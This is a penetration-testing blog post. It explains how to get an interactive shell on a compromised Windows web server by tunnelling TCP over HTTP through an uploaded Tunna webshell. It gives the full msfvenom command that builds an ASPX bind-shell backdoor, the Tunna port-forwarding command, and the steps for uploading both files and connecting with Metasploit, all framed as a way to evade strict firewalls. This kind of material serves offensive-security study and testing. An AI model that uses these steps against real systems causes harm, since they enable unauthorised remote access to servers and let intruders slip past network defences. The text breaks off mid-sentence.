Interactive bindshell over HTTP

Kevin bio photo By Kevin

Primitives needed

  • Webshell on a webserver


What do you do when you have exploited this webserver and really want an interactive shell, but the network has zero open ports and the only way in is through http port 80 on the webserver you’ve exploited? The answer is simple. Tunnel your traffic inside HTTP using the existing webserver.

We previously have had this issue and had some messy solutions and sometimes just an open port by luck. Therefore we wanted a more generic approach that could be reused everytime we have a webshell. We started writing our tool called webtunfwd which did what we wanted. It listened on a local port on our attacking machine and then when we connected to the local port, it would then post whatever was inside socket.recv to a webserver with a POST request. The webserver would then take whatever was sent inside this POST request and feed it into the socket connection on the victim.

Note: The diagram below is taken from the Tunna project’s github


So this is a little walkthrough on what happens:

  • Attacker uploads webtunfwd.php to victim which is now placed on victim:80/webtunfwd.php
  • Attacker uploads his malware and/or a meterpreter bindshell which listens on localhost:20000
  • Victim is now listening on localhost:20000
  • Attacker calls webtunfwd.php?broker which connects to localhost:20000 and keeps the connection open.
  • webtunfwd.php?broker reads from socket and writes it to a tempfile we’ll call out.tmp
  • webtunfwd.php?broker reads from a tempfile we’ll call in.tmp and writes it to the socket

Great. Now we have webtunfwd.php?broker which handles the socket connection on the victim side and keeps it open forever. We now need to write and read from the two files in.tmp and out.tmp respectively, down to our attacking machine.

This is handeled by our python script

  • Attacker runs on his machine which listens on the port localhost:11337
  • Attacker now connects with the meterpreter client to localhost:11337
  • When recieves the connection it creates 2 threads. One for read and one for write
  • The read thread reads from socket and writes to in.tmp by creating a POST request with the data to webtunfwd.php?write
  • The write thread reads from out.tmp by creating a GET request to webtunfwd.php?read and writes to the socket

So with this code we now have a dynamic port forwarding through HTTP and we can run whatever payload on the server we want.

But after writing this tool we searched google a little and found that a tool called Tunna was written for this exact purpose by a company called SECFORCE. So instead of reinventing the wheel by posting our own tool that didn’t get nearly as much love as the Tunna project did we’re going to show how Tunna is used in action with a bind shell.

Systems setup

  • Victim -> Windows 2012 server
  • Attacker -> Some Linux Distro


  • Ability to upload a shell to a webserver

Setting up Tunna

The first thing we need to do in order to setup Tunna is to clone the git repository. On the attacking machine run: git clone

In this project we have quite some files. The ones we are going to use are and then the contents of webshells In order for Tunna to work we are first going to upload the webshell that will handle the proxy connection/port forwarding to the victim machine In the webshells folder you’ll find conn.aspx - Use whatever method or vulnerability you are exploiting to get it onto the machine. As for now we’re going to assume that the shell conn.aspx is placed on

Tunna is now setup and ready to use

Generating a payload

We’re now going to generate our backdoor which is a simple shell via metasploit. The shell is going to listen on localhost:12000 which could be any port on localhost as we’ll connect to it through Tunna

As we want to run our shell on a windows server running ASPX, we are going to build our backdoor in ASPX format with the use of MSFVENOM

We use the following command:

msfvenom --platform Windows -a x64 -p windows/x64/shell/bind_tcp LPORT=12000 LHOST= -f aspx --out shell.aspx

  • --platform Target platform
  • -a Target architecture
  • -p Payload to use
  • LPORT what port to listen on, on target
  • LHOST the IP of where we are listening
  • -f the output format of the payload
  • --out where to save the file

After running this command we should now have shell.aspx

In the same way that we uploaded conn.aspx we should upload shell.aspx.

So now we assume that you have the following two files available:

Launching the attack

So everything is setup. Tunna is uploaded to the server and we have our backdoor ready.

The first thing we’re going to do is go to We can now see that our shell is listening on port 12000 on our attacking machine after running a netstat -na


Now we go to our attacking machine. We need two things for connecting. The first is our from Tunna, and the next is our metasploit console for connecting.

First we forward the local port 10000 to port 12000 on the remote host with the following command:

python -u -l 10000 -r 12000 -v --no-socks

  • -u - The target url with the path to the webshell uploaded
  • -l - The local port to listen on, on the attacking machine
  • -r - The remote port to connect to, on the victim machine
  • -v - verbosity
  • --no-socks - Do not create a socks proxy. Only port forwarding needed

The output will look like the following when it awaits connections:


The attacking machine now listens locally on port 10000 and we can connect to it through metasploit

In order to do this we configure metasploit the following way:


And after that is done we enter run. We should now get a shell:


The Tunna status terminal will look like this:



A full TCP connection wrapped in HTTP in order to evade strict firewalls and the like. We could’ve exchanged our normal shell with anything we wanted to as Tunna simply forwards the port for us.

Performance suggestions for projects like Tunna

We’ve experienced with some performance upgrades to the tunna project. One thing that we did not like was the amount of HTTP GET/POST requests sent to and from the server. Our solution to this was to use Transfer-encoding: Chunked. This enabled us to open a GET request and recieve bytes whenever ready and then wait for the next read from the socket without ever closing the GET request. We researched many ways to do this over POST, towards the server but we could’nt seem to circumvent that web servers like apache had some internal buffering on chunks retrieved, that was set to 8192 bytes